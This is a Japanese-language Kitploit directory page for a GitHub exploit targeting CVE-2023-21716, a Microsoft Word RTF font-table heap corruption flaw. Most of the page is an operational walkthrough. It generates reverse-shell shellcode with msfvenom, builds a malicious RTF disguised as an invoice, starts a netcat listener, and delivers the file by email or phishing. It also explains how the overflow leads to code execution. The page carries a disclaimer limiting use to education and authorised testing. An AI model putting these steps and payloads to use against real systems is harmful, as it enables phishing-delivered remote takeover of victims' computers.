Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-21716 — CVE-2023-21716 - Microsoft Word RTF fonttbl Heap Corruption RCE exploit with reverse shell payload | Kitploit
ツール/GitHubGitHub/reggyraider/cve-2023-21716
Phishing ToolsPayload GenerationExploitationWeb Application ExploitationPenetration TestingLearning & EducationBinary Exploitation
GitHubreggyraider/cve-2023-21716

CVE-2023-21716

CVE-2023-21716 - Microsoft Word RTF fonttbl Heap Corruption RCE exploit with reverse shell payload

リポジトリを見る
22ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-21716 — Microsoft Word RTF fonttbl ヒープ破損 RCE

重要度: 重大 (CVSS 9.8)
影響を受けるバージョン: Microsoft Word 2013 / 2016 / 2019 / 2021 (未パッチ)
パッチ: Microsoft 2023年2月の月例セキュリティ更新プログラム
作成者: REGGYRAIDER


脆弱性の概要

CVE-2023-21716 は、Microsoft Word の RTF パーサー (wwlib.dll) におけるヒープ破損の脆弱性です。
Word が \fonttbl ディレクティブを解析する際、32,767 を超えるフォントエントリが含まれていると、内部の 符号付き 16 ビットカウンタがオーバーフロー し、ヒープメタデータが破損します。これにより、攻撃者は被害者に細工された .rtf ファイルを送信するだけで リモートコード実行 (RCE) を達成できます。

マクロは不要。ファイルを開く以外のユーザー操作は不要です。


セットアップとエクスプロイト

ステップ 1 — msfvenom で生のシェルコードを生成

root@kitploit:~
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -f raw -o payload.bin

ステップ 2 — このリポジトリをクローン

root@kitploit:~
git clone https://github.com/REGGYRAIDER/CVE-2023-21716
cd CVE-2023-21716

ステップ 3 — 悪意のある RTF をビルド

root@kitploit:~
python3 exploit.py payload.bin invoice_march2024.rtf

ステップ 4 — リスナーを起動

root@kitploit:~
nc -lvnp 4444

ステップ 5 — ファイルを配信

SMB、メールの添付ファイル、または任意のフィッシングベクターを介してアップロードします。
被害者が未パッチの Word で invoice_march2024.rtf を開くと、リバースシェルが返ってきます。


仕組み

root@kitploit:~
攻撃者がRTFを作成          Wordが\fonttblを解析        ヒープが破損
─────────────────────  ──►   ──────────────────────  ──►  ──────────────
\fonttbl に 32769 以上       符号付き16ビットカウンタ       攻撃者の
のフォント定義               がオーバーフロー→ 0x8000     シェルコードが実行
  1. エクスプロイトは、\fonttbl 内に 32,769 個の \f<N> フォント定義 を埋め込みます。
  2. Word は (オーバーフローした) カウンタに基づいて固定サイズのバッファを割り当てます。
  3. その後のフォント書き込みは 割り当てられたバッファを超えて 行われ、隣接するヒープチャンクを破損します。
  4. 生のシェルコード (payload.bin から) は \pict 内部に配置され、破損した領域に配置され、アロケータがそれを処理するときに実行が得られます。

免責事項

このツールは 教育目的および許可されたペネトレーションテスト専用 です。
あなたが所有していない、または明示的な書面によるテスト許可を得ていないシステムに対してこのエクスプロイトを使用することは 違法 です。
作成者は誤用に対する責任を負いません。


参考情報

  • Microsoft セキュリティアドバイザリ
  • NVD エントリ
ツールをダウンロード